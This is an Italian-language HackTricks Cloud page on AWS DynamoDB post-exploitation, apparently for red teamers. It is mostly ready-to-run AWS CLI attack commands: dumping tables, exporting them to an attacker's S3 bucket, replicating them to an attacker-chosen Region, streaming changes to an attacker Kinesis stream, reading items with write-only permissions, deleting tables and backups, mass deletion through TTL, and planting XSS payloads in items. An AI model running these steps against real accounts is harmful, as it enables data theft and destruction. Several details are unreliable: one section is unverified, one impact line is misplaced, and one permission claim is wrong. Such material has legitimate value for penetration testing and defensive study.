AWS - DynamoDB Post Exploitation
Reading time: 18 minutes
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
DynamoDB
Per maggiori informazioni consulta:
dynamodb:BatchGetItem
Un attaccante con questo permesso sarà in grado di ottenere item dalle tabelle tramite la chiave primaria (non puoi semplicemente richiedere tutti i dati della tabella). Questo significa che devi conoscere le chiavi primarie (puoi ottenerle recuperando i metadata della tabella (describe-table).
aws dynamodb batch-get-item --request-items file:///tmp/a.json
// With a.json
{
"ProductCatalog" : { // This is the table name
"Keys": [
{
"Id" : { // Primary keys name
"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those
}
}
]
}
}
Impatto potenziale: privesc indiretto individuando informazioni sensibili nella tabella
dynamodb:GetItem
Simile alle autorizzazioni precedenti questa permette a un potenziale attaccante di leggere i valori di una sola tabella fornendo la chiave primaria dell'elemento da recuperare:
aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
// With a.json
{
"Id" : {
"N": "205"
}
}
Con questo permesso è anche possibile usare il metodo transact-get-items come:
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
// With a.json
[
{
"Get": {
"Key": {
"Id": {"N": "205"}
},
"TableName": "ProductCatalog"
}
}
]
Impatto potenziale: Indirect privesc localizzando informazioni sensibili nella tabella
dynamodb:Query
Simile alle autorizzazioni precedenti questa permette a un potenziale attacker di leggere valori da una sola tabella dato il primary key della voce da recuperare. Permette di usare un subset of comparisons, ma l'unico confronto consentito con il primary key (che deve essere presente) è "EQ", quindi non è possibile usare un confronto per ottenere l'intero DB in una singola richiesta.
aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json
// With a.json
{
"Id" : {
"ComparisonOperator":"EQ",
"AttributeValueList": [ {"N": "205"} ]
}
}
Impatto potenziale: Privesc indiretto localizzando informazioni sensibili nella tabella
dynamodb:Scan
Puoi usare questa autorizzazione per dump dell'intera tabella con facilità.
aws dynamodb scan --table-name <t_name> #Get data inside the table
Impatto potenziale: privesc indiretto localizzando informazioni sensibili nella tabella
dynamodb:PartiQLSelect
Puoi usare questo permesso per dump dell'intera tabella facilmente.
aws dynamodb execute-statement \
--statement "SELECT * FROM ProductCatalog"
Questa permission consente anche di eseguire batch-execute-statement come:
aws dynamodb batch-execute-statement \
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
ma devi specificare la chiave primaria con un valore, quindi non è molto utile.
Impatto potenziale: Indirect privesc localizzando informazioni sensibili nella tabella
dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)
Questo permesso permetterà a un attaccante di esportare l'intera tabella in un S3 bucket di sua scelta:
aws dynamodb export-table-to-point-in-time \
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
--s3-bucket <attacker_s3_bucket> \
--s3-prefix <optional_prefix> \
--export-time <point_in_time> \
--region <region>
Nota che perché questo funzioni, la tabella deve avere abilitato point-in-time-recovery; puoi verificare se la tabella lo ha con:
aws dynamodb describe-continuous-backups \
--table-name <tablename>
Se non è abilitato, dovrai abilitarlo e per farlo hai bisogno della dynamodb:ExportTableToPointInTime autorizzazione:
aws dynamodb update-continuous-backups \
--table-name <value> \
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
Impatto potenziale: Indirect privesc individuando informazioni sensibili nella tabella
dynamodb:CreateTable, dynamodb:RestoreTableFromBackup, (dynamodb:CreateBackup)
Con queste autorizzazioni, un attacker sarebbe in grado di creare una nuova tabella da un backup (o anche creare un backup per poi ripristinarlo in una tabella diversa). Poi, con le autorizzazioni necessarie, sarebbe in grado di controllare informazioni dai backup che potrebbero non essere più nella tabella di produzione.
aws dynamodb restore-table-from-backup \
--backup-arn <source-backup-arn> \
--target-table-name <new-table-name> \
--region <region>
Impatto potenziale: privesc indiretto reperendo informazioni sensibili nel backup della tabella
dynamodb:PutItem
Questa autorizzazione permette agli utenti di aggiungere un nuovo item alla tabella o sostituire un item esistente con un nuovo item. Se un item con la stessa chiave primaria esiste già, l'intero item sarà sostituito con il nuovo item. Se la chiave primaria non esiste, un nuovo item con la chiave primaria specificata sarà creato.
## Create new item with XSS payload
aws dynamodb put-item --table <table_name> --item file://add.json
### With add.json:
{
"Id": {
"S": "1000"
},
"Name": {
"S":  "Marc"
},
"Description": {
"S": "<script>alert(1)</script>"
}
}
Impatto potenziale: Sfruttamento di ulteriori vulnerabilità/bypasses potendo aggiungere/modificare dati in una tabella DynamoDB
dynamodb:UpdateItem
Questa autorizzazione consente agli utenti di modificare gli attributi esistenti di un item o aggiungere nuovi attributi a un item. Non sostituisce l'intero item; aggiorna solo gli attributi specificati. Se la primary key non esiste nella tabella, l'operazione creerà un nuovo item con la primary key specificata e imposterà gli attributi specificati nell'update expression.
## Update item with XSS payload
aws dynamodb update-item --table <table_name> \
--key file://key.json --update-expression "SET Description = :value" \
--expression-attribute-values file://val.json
### With key.json:
{
"Id": {
"S": "1000"
}
}
### and val.json
{
":value": {
"S": "<script>alert(1)</script>"
}
}
Impatto potenziale: Sfruttamento di ulteriori vulnerabilità/bypasses consentendo di aggiungere/modificare dati in una tabella DynamoDB
dynamodb:DeleteTable
Un attacker con questa autorizzazione può cancellare una tabella DynamoDB, causando perdita di dati.
aws dynamodb delete-table \
--table-name TargetTable \
--region <region>
Potential impact: Perdita di dati e interruzione dei servizi che dipendono dalla tabella eliminata.
dynamodb:DeleteBackup
Un attaccante con questa autorizzazione può eliminare un backup di DynamoDB, causando potenzialmente la perdita di dati in caso di ripristino dopo un disastro.
aws dynamodb delete-backup \
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
--region <region>
Potential impact: Perdita di dati e incapacità di recuperare da un backup durante uno scenario di disaster recovery.
dynamodb:StreamSpecification, dynamodb:UpdateTable, dynamodb:DescribeStream, dynamodb:GetShardIterator, dynamodb:GetRecords
note
TODO: Verificare se questo funziona effettivamente
Un attacker con queste autorizzazioni può enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time. Questo consente all'attacker di monitorare ed exfiltrate le modifiche ai dati, potenzialmente causando data leakage.
- Abilitare uno stream su una tabella DynamoDB:
aws dynamodb update-table \
--table-name TargetTable \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
--region <region>
- Descrivi lo stream per ottenere l'ARN e altri dettagli:
aws dynamodb describe-stream \
--table-name TargetTable \
--region <region>
- Ottieni lo shard iterator usando lo stream ARN:
aws dynamodbstreams get-shard-iterator \
--stream-arn <stream_arn> \
--shard-id <shard_id> \
--shard-iterator-type LATEST \
--region <region>
- Usa il shard iterator per accedere e exfiltrate i dati dallo stream:
aws dynamodbstreams get-records \
--shard-iterator <shard_iterator> \
--region <region>
Impatto potenziale: Monitoraggio in tempo reale e data leakage delle modifiche alla tabella DynamoDB.
Leggere elementi tramite dynamodb:UpdateItem e ReturnValues=ALL_OLD
Un attaccante con solo dynamodb:UpdateItem su una tabella può leggere gli elementi senza nessuno dei consueti permessi di lettura (GetItem/Query/Scan) eseguendo un update benigno e richiedendo --return-values ALL_OLD. DynamoDB restituirà l'immagine completa pre-update dell'item nel campo Attributes della risposta (questo non consuma RCUs).
- Permessi minimi: dynamodb:UpdateItemsulla tabella/chiave target.
- Prerequisiti: Devi conoscere la chiave primaria dell'item.
Esempio (aggiunge un attributo innocuo e exfiltrates l'item precedente nella risposta):
aws dynamodb update-item \
--table-name <TargetTable> \
--key '{"<PKName>":{"S":"<PKValue>"}}' \
--update-expression 'SET #m = :v' \
--expression-attribute-names '{"#m":"exfil_marker"}' \
--expression-attribute-values '{":v":{"S":"1"}}' \
--return-values ALL_OLD \
--region <region>
La risposta della CLI includerà un blocco Attributes contenente l'intero elemento precedente (tutti gli attributi), fornendo di fatto una primitiva di lettura da un accesso solo in scrittura.
Impatto potenziale: Leggere elementi arbitrari da una tabella avendo solo permessi di scrittura, consentendo l'esfiltrazione di dati sensibili quando le chiavi primarie sono note.
dynamodb:UpdateTable (replica-updates) | dynamodb:CreateTableReplica
Esfiltrazione stealth aggiungendo una nuova replica Region a una DynamoDB Global Table (version 2019.11.21). Se un principal può aggiungere una replica regionale, l'intera tabella viene replicata nella Region scelta dall'attacker, da cui l'attacker può leggere tutti gli elementi.
# Add a new replica Region (from primary Region)
aws dynamodb update-table \
--table-name <TableName> \
--replica-updates '[{"Create": {"RegionName": "<replica-region>"}}]' \
--region <primary-region>
# Wait until the replica table becomes ACTIVE in the replica Region
aws dynamodb describe-table --table-name <TableName> --region <replica-region> --query 'Table.TableStatus'
# Exfiltrate by reading from the replica Region
aws dynamodb scan --table-name <TableName> --region <replica-region>
Autorizzazioni: dynamodb:UpdateTable (con replica-updates) oppure dynamodb:CreateTableReplica sulla tabella di destinazione. Se nella replica viene usata una CMK, potrebbero essere necessarie autorizzazioni KMS per quella chiave.
Impatto potenziale: replica dell'intera tabella in una regione controllata dall'attaccante, permettendo un'esfiltrazione furtiva di dati.
dynamodb:TransactWriteItems (lettura tramite condizione fallita + ReturnValuesOnConditionCheckFailure=ALL_OLD)
Un attaccante con privilegi di scrittura transazionale può esfiltrare tutti gli attributi di un item esistente eseguendo un Update all'interno di TransactWriteItems che provoca intenzionalmente il fallimento di una ConditionExpression impostando contemporaneamente ReturnValuesOnConditionCheckFailure=ALL_OLD. In caso di fallimento, DynamoDB include gli attributi precedenti nelle ragioni di cancellazione della transazione, trasformando efficacemente l'accesso in sola scrittura in un accesso in lettura alle chiavi mirate.
# Create the transaction input (list form for --transact-items)
cat > /tmp/tx_items.json << 'JSON'
[
{
"Update": {
"TableName": "<TableName>",
"Key": {"<PKName>": {"S": "<PKValue>"}},
"UpdateExpression": "SET #m = :v",
"ExpressionAttributeNames": {"#m": "marker"},
"ExpressionAttributeValues": {":v": {"S": "x"}},
"ConditionExpression": "attribute_not_exists(<PKName>)",
"ReturnValuesOnConditionCheckFailure": "ALL_OLD"
}
}
]
JSON
# Execute. Newer AWS CLI versions support returning cancellation reasons
aws dynamodb transact-write-items \
--transact-items file:///tmp/tx_items.json \
--region <region> \
--return-cancellation-reasons
# The command fails with TransactionCanceledException; parse cancellationReasons[0].Item
Permessi: dynamodb:TransactWriteItems sulla tabella target (e sull'item sottostante). Non sono necessari permessi di lettura.
Impatto potenziale: leggere item arbitrari (per chiave primaria) da una tabella usando solo privilegi di scrittura transazionale tramite i motivi di cancellazione restituiti.
dynamodb:UpdateTable + dynamodb:UpdateItem + dynamodb:Query su GSI
Bypassare le restrizioni di lettura creando una Global Secondary Index (GSI) con ProjectionType=ALL su un attributo a bassa entropia, impostare quell'attributo a un valore costante su tutti gli item, quindi effettuare una Query sull'indice per recuperare gli item completi. Funziona anche se Query/Scan sulla tabella base sono negati, purché sia possibile interrogare l'ARN dell'indice.
- Permessi minimi:
- dynamodb:UpdateTablesulla tabella target (per creare la GSI con- ProjectionType=ALL).
- dynamodb:UpdateItemsulle chiavi della tabella target (per impostare l'attributo indicizzato su ogni item).
- dynamodb:Querysull'index resource ARN (- arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>).
Passaggi (PoC in us-east-1):
# 1) Create table and seed items (without the future GSI attribute)
aws dynamodb create-table --table-name HTXIdx \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXIdx --region us-east-1
for i in 1 2 3 4 5; do \
aws dynamodb put-item --table-name HTXIdx \
--item "{\"id\":{\"S\":\"$i\"},\"secret\":{\"S\":\"sec-$i\"}}" \
--region us-east-1; done
# 2) Add GSI on attribute X with ProjectionType=ALL
aws dynamodb update-table --table-name HTXIdx \
--attribute-definitions AttributeName=X,AttributeType=S \
--global-secondary-index-updates '[{"Create":{"IndexName":"ExfilIndex","KeySchema":[{"AttributeName":"X","KeyType":"HASH"}],"Projection":{"ProjectionType":"ALL"}}}]' \
--region us-east-1
# Wait for index to become ACTIVE
aws dynamodb describe-table --table-name HTXIdx --region us-east-1 \
--query 'Table.GlobalSecondaryIndexes[?IndexName==`ExfilIndex`].IndexStatus'
# 3) Set X="dump" for each item (only UpdateItem on known keys)
for i in 1 2 3 4 5; do \
aws dynamodb update-item --table-name HTXIdx \
--key "{\"id\":{\"S\":\"$i\"}}" \
--update-expression 'SET #x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1; done
# 4) Query the index by the constant value to retrieve full items
aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
--key-condition-expression '#x = :v' \
--expression-attribute-names '{"#x":"X"}' \
--expression-attribute-values '{":v":{"S":"dump"}}' \
--region us-east-1
Impatto potenziale: Esfiltrazione completa della tabella interrogando una GSI appena creata che proietta tutti gli attributi, anche quando le API di lettura della tabella base sono negate.
dynamodb:EnableKinesisStreamingDestination (Exfiltrazione continua via Kinesis Data Streams)
Abusare delle destinazioni di streaming Kinesis di DynamoDB per esfiltrare continuamente le modifiche di una tabella in un Kinesis Data Stream controllato dall'attaccante. Una volta abilitato, ogni evento INSERT/MODIFY/REMOVE viene inoltrato in tempo quasi reale allo stream senza necessità di permessi di lettura sulla tabella.
Permessi minimi (attaccante):
- dynamodb:EnableKinesisStreamingDestinationsulla tabella target
- Opzionalmente dynamodb:DescribeKinesisStreamingDestination/dynamodb:DescribeTableper monitorare lo stato
- Permessi di lettura sul Kinesis stream di proprietà dell'attaccante per consumare i record: kinesis:*
PoC (us-east-1)
# 1) Prepare: create a table and seed one item
aws dynamodb create-table --table-name HTXKStream \
--attribute-definitions AttributeName=id,AttributeType=S \
--key-schema AttributeName=id,KeyType=HASH \
--billing-mode PAY_PER_REQUEST --region us-east-1
aws dynamodb wait table-exists --table-name HTXKStream --region us-east-1
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item1.json --region us-east-1
# /tmp/htx_item1.json
# {"id":{"S":"a1"},"secret":{"S":"s-1"}}
# 2) Create attacker Kinesis Data Stream
aws kinesis create-stream --stream-name htx-ddb-exfil --shard-count 1 --region us-east-1
aws kinesis wait stream-exists --stream-name htx-ddb-exfil --region us-east-1
# 3) Enable the DynamoDB -> Kinesis streaming destination
STREAM_ARN=$(aws kinesis describe-stream-summary --stream-name htx-ddb-exfil \
--region us-east-1 --query StreamDescriptionSummary.StreamARN --output text)
aws dynamodb enable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1
# Optionally wait until ACTIVE
aws dynamodb describe-kinesis-streaming-destination --table-name HTXKStream \
--region us-east-1 --query KinesisDataStreamDestinations[0].DestinationStatus
# 4) Generate changes on the table
aws dynamodb put-item --table-name HTXKStream \
--item file:///tmp/htx_item2.json --region us-east-1
# /tmp/htx_item2.json
# {"id":{"S":"a2"},"secret":{"S":"s-2"}}
aws dynamodb update-item --table-name HTXKStream \
--key file:///tmp/htx_key_a1.json \
--update-expression "SET #i = :v" \
--expression-attribute-names {#i:info} \
--expression-attribute-values {:v:{S:updated}} \
--region us-east-1
# /tmp/htx_key_a1.json -> {"id":{"S":"a1"}}
# 5) Consume from Kinesis to observe DynamoDB images
SHARD=$(aws kinesis list-shards --stream-name htx-ddb-exfil --region us-east-1 \
--query Shards[0].ShardId --output text)
IT=$(aws kinesis get-shard-iterator --stream-name htx-ddb-exfil --shard-id "$SHARD" \
--shard-iterator-type TRIM_HORIZON --region us-east-1 --query ShardIterator --output text)
aws kinesis get-records --shard-iterator "$IT" --limit 10 --region us-east-1 > /tmp/krec.json
# Decode one record (Data is base64-encoded)
jq -r .Records[0].Data /tmp/krec.json | base64 --decode | jq .
# 6) Cleanup (recommended)
aws dynamodb disable-kinesis-streaming-destination \
--table-name HTXKStream --stream-arn "$STREAM_ARN" --region us-east-1 || true
aws kinesis delete-stream --stream-name htx-ddb-exfil --enforce-consumer-deletion --region us-east-1 || true
aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
dynamodb:UpdateTimeToLive
Un attacker con il permesso dynamodb:UpdateTimeToLive può modificare la configurazione TTL (time-to-live) di una tabella — abilitando o disabilitando il TTL. Quando il TTL è abilitato, gli items che contengono l'attributo TTL configurato vengono automaticamente eliminati una volta raggiunto il loro tempo di scadenza. Il valore TTL è semplicemente un altro attributo su ogni item; gli items privi di quell'attributo non sono interessati dall'eliminazione basata su TTL.
Se gli items non contengono già l'attributo TTL, l'attacker avrebbe anche bisogno di un permesso che aggiorni gli items (per esempio dynamodb:UpdateItem) per aggiungere l'attributo TTL e scatenare eliminazioni di massa.
Per prima cosa abilita il TTL sulla tabella, specificando il nome dell'attributo da usare per la scadenza:
aws dynamodb update-time-to-live \
--table-name <TABLE_NAME> \
--time-to-live-specification "Enabled=true, AttributeName=<TTL_ATTRIBUTE_NAME>"
Quindi aggiorna gli items per aggiungere l'attributo TTL (epoch seconds) in modo che scadano e vengano rimossi:
aws dynamodb update-item \
--table-name <TABLE_NAME> \
--key '<PRIMARY_KEY_JSON>' \
--update-expression "SET <TTL_ATTRIBUTE_NAME> = :t" \
--expression-attribute-values '{":t":{"N":"<EPOCH_SECONDS_VALUE>"}}'
dynamodb:RestoreTableFromAwsBackup & dynamodb:RestoreTableToPointInTime
Un attaccante con le autorizzazioni dynamodb:RestoreTableFromAwsBackup o dynamodb:RestoreTableToPointInTime può creare nuove tabelle ripristinate da backup o da point-in-time recovery (PITR) senza sovrascrivere la tabella originale. La tabella ripristinata contiene un'immagine completa dei dati al punto selezionato, quindi l'attaccante può usarla per esfiltrare informazioni storiche o ottenere un dump completo dello stato passato del database.
Ripristinare una tabella DynamoDB da un backup on-demand:
aws dynamodb restore-table-from-backup \
--target-table-name <NEW_TABLE_NAME> \
--backup-arn <BACKUP_ARN>
Ripristinare una tabella DynamoDB a un punto nel tempo (creare una nuova tabella con lo stato ripristinato):
aws dynamodb restore-table-to-point-in-time \
--source-table-name <SOURCE_TABLE_NAME> \
--target-table-name <NEW_TABLE_NAME> \
--use-latest-restorable-time
Impatto potenziale: Esfiltrazione continua, quasi in tempo reale, delle modifiche della tabella verso un attacker-controlled Kinesis stream senza operazioni di lettura dirette sulla tabella.
tip
Impara e pratica il hacking AWS: HackTricks Training AWS Red Team Expert (ARTE)
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:  HackTricks Training GCP Red Team Expert (GRTE)
HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure:
Impara e pratica il hacking Azure:  HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.
 HackTricks Cloud
HackTricks Cloud